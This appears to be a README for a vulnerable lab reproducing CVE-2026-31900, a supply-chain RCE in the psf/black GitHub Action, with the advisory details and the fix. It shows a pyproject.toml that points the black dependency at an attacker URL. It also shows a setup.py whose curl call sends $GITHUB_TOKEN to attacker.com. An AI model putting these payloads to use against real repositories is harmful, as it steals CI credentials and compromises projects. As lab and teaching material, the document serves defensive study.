
CVE-2026-31900 Vulnerable Lab - psf/black GitHub Action RCE
| Field | Detail |
|---|
| CVE | CVE-2026-31900 |
| CVSS | 8.7 (High) |
| Advisory | GHSA-v53h-f6m7-xcgm |
| Affected | psf/black GitHub Action < v26.3.0 |
| Type | RCE via Supply Chain (pull_request trigger) |
The use_pyproject: true option reads the Black version from pyproject.toml. The regex used to validate the version string is overly permissive due to re.IGNORECASE, allowing characters like space, @, :, and / — exactly what's needed for a PEP 508 URL requirement.
BLACK_VERSION_RE = re.compile(r"^black(\[^A-Z0-9.\_-\]+.\*)$", re.IGNORECASE)
pyproject.toml in your fork:[project]
dependencies = [
"black @ https://attacker.com/malicious_black.tar.gz"
]
pull_request workflow trigger firespyproject.toml, bypasses regex validationsetup.py executes arbitrary codesetup.py Examplefrom setuptools import setup
import os
os.system("curl https://attacker.com/exfil?token=$GITHUB_TOKEN")
setup(name="black", version="26.1.0")
$GITHUB_TOKEN (CI runner token)Upgrade to psf/black v26.3.0 or pin the version explicitly in the workflow YAML instead of using use_pyproject: true.
.github/workflows/black.yml ← Vulnerable workflow (use_pyproject: true)
pyproject.toml ← Legitimate config (main branch)
app.py ← Sample Python file being formatted